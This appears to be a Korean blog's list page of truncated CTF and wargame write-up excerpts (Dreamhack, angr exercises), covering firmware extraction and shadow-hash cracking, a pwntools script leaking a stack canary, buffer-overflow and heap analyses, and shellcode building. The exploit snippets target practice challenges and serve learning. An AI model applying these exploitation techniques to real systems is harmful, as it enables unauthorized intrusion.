anonymous?

binwalk 설치 sudo apt-get install binwalk Unpacking the binary firmware /w Binwalk binwalk -Me Firmware_challenge.bin binwalk 명령어의 -Me 옵션을 사용하여 펌웨어를 추출한다. /etc/shadow 파일 확인 그 다음 디렉토리를 둘러보면서 /etc/shadow 파일을 열어봤다. dream 계정만 패스워드가 설정되어있어서, 이 부분을 유심히 확인했다. $Algorithm$salt$encrypt_password 형태로 저장되어있으며, MD5 알고리즘을 사용하여 암호화되었다. 그래서 여러 온라인 decrypt 도구를 사용해서 plaintext를 얻어봤는데 flag 단서를 얻었을 때에도 복호화가 잘 안 되었는지 계속..

SYSTEM HACKING/Dreamhack 2024. 3. 5. 01:40

#!/usr/bin/python from pwn import * context.log_level = 'debug' context.arch = 'amd64' #p = process("./r2s") p = remote('host3.dreamhack.games', 17569) p.recvuntil(b'Address of the buf: ') buf = int(p.recvuntil('\n'), 16) log.info(b'printf: ', hex(buf)) distance = 96 # canary leak payload = b'B'*(0x60-0x8)+b'A' p.sendafter(b'Input: ', payload) #gdb.attach(p) p.recvuntil(b'A') canary = u64(b'\x00..

SYSTEM HACKING/Dreamhack 2024. 3. 3. 01:56

GLIBC란? GNU system과 GNU/Linux 시스템의 핵심 라이브러리를 제공하는 GNU C 라이브러리 ptmalloc2 구조 (GLIBC 2.29) - Double Free 검증 tcache_entry 구조체 // GLIBC 2.29 typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; } tcache_entry; GLIBC 2.26과 다르게, GLIBC 2.29에서는 tcache_put, tcache_get 함수에 Double Free 취약점을 검증하는 코드가 추가되었다. GLIBC 2.26에서는..

SYSTEM HACKING/Exploit Tech 2024. 3. 2. 14:25

취약점 분석(정적 분석) IDA로 디스어셈블 하여 스도코드 확인 int __fastcall main(int argc, const char **argv, const char **envp) { char v4[48]; // [rsp+0h] [rbp-30h] BYREF init(argc, argv, envp); printf("Input: "); __isoc99_scanf("%s", v4); return 0; } 스택 구조가 |v4(0x30|SFP(0x8)|RET(0x8)| 이렇게 되고, scanf함수로 입력받으므로 길이 검사를 하지 않아 BOF 취약점이 발생한다. 따라서 0x30+0x8만큼 더미 값을 준 후 이후에 get_shell 함수 주소를 주면 쉘을 얻을 수 있다. PIE가 없어서 get_shell 함수 ..

SYSTEM HACKING/Dreamhack 2024. 3. 1. 21:42

🔍 코드 분석 int __cdecl main(int argc, const char **argv, const char **envp) { char v4[20]; // [esp+0h] [ebp-18h] BYREF int v5; // [esp+14h] [ebp-4h] v5 = 1; initialize(); printf("Name: "); read_str(v4, 20); printf("Are you baby?"); if ( v5 ) { puts("Ok, chance: "); read(0, v4, 20); } else { get_shell(); } return 0; } |v4(0x18)|v5(0x4)|SFP|RET| v5이 0이면 get_shell 함수 실행되어서 쉘 얻을 수 있음. 근데 v5=1로 설정되어 있기 ..

SYSTEM HACKING/Dreamhack 2024. 2. 19. 16:15

int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; // rbp __int64 v5; // [rsp-98h] [rbp-98h] signed int v6; // [rsp-18h] [rbp-18h] signed __int16 v7; // [rsp-14h] [rbp-14h] __int64 v8; // [rsp-8h] [rbp-8h] __asm { endbr64 } v8 = v3; init(); v6 = 'ac/.'; v7 = 116; sub_4010D0(); sub_401130("%144s", &v5); read_cat((__int64)&v8, (__int64)&v6); sub_4010D0(); return 0; } |v..

SYSTEM HACKING/Dreamhack 2024. 2. 16. 21:38

사전지식 chunk size - fast chunk: 32~128byte - small chunk: = 1024byte free된 청크를 관리하는 bin - Fastbin : 해제된 chunk가 fastbinsY에서 관리될 경우 해제된 Heap과 크기 동일하게 할당 - Unsorted bin : 해제된 chunk가 unsorted bin에서 관리되는 small, large chunk인 경우, 해제된 Heap의 크기와 같거나 작은 크기를 할당 - small bin: small chunk 관리 - large bin: large chunk 관리 풀이과정 int __fastcall __noreturn main(int argc, const char **argv, c..

SYSTEM HACKING/Dreamhack 2024. 1. 10. 21:38

풀이 1 filename를 16진수로 구하기 section .data filename db '/home/shell_basic/flag_name_is_loooooong', 0 mode dq 0 ; O_RDONLY 먼저 asm 파일에 위와 같이 filename을 적는 어셈블리 코드를 작성 nasm -f elf64 shell_basic.asm # 운영체제 elf64 지정하여 어셈블리 코드로 object 파일 생성 objcopy --dump-section .text=shell_basic.bin shell_basic.o # object 파일로 실행 파일 생성 $ objdump -D shell_basic.o shell_basic.o: file format elf64-x86-64 Disassembly of secti..

SYSTEM HACKING/Dreamhack 2024. 1. 10. 19:01

Binary 정보 $ file FUck_binary FUck_binary: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=583997ea22be0b90670780cb91b36de37e1100d2, not stripped Setting shared library를 로드할 수 없다고 오류가 뜬다. 임의로 shared library를 만들어서 오류를 해결한다. shared library 파일 내용 (fake_getflag.c) #include #include char *flag = "EKO{..

SYSTEM HACKING/CTF, etc 2022. 7. 16. 17:39

파일 정보 $ file 08_angr_constraints 08_angr_constraints: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d53f4be8c8a8535398c061131666b583f07c6b19, not stripped 코드 분석 main() int __cdecl main(int argc, const char **argv, const char **envp) { signed int i; // [esp+Ch] [ebp-Ch] password = 'WISO'; dword_804A..

SYSTEM HACKING/CTF, etc 2022. 5. 15. 13:59

파일 정보 $ file 07_angr_symbolic_file 07_angr_symbolic_file: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9415cb30bed985681d385c2ae9292ede963d6895, not stripped 코드 분석 main() int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // ST08_4 bool v4; // cf bool v5; // zf s..

SYSTEM HACKING/CTF, etc 2022. 5. 14. 21:36

코드 분석 main() int __cdecl main(int argc, const char **argv, const char **envp) { char v3; // al signed int i; // [esp+Ch] [ebp-Ch] buffer0 = (char *)malloc(9u); buffer1 = (char *)malloc(9u); memset(buffer0, 0, 9u); memset(buffer1, 0, 9u); printf("Enter the password: "); __isoc99_scanf("%8s %8s", buffer0, buffer1); for ( i = 0; i >> import angr >>> p = angr.Project('06_angr_symbolic_dynamic_memory..

SYSTEM HACKING/CTF, etc 2022. 5. 14. 16:48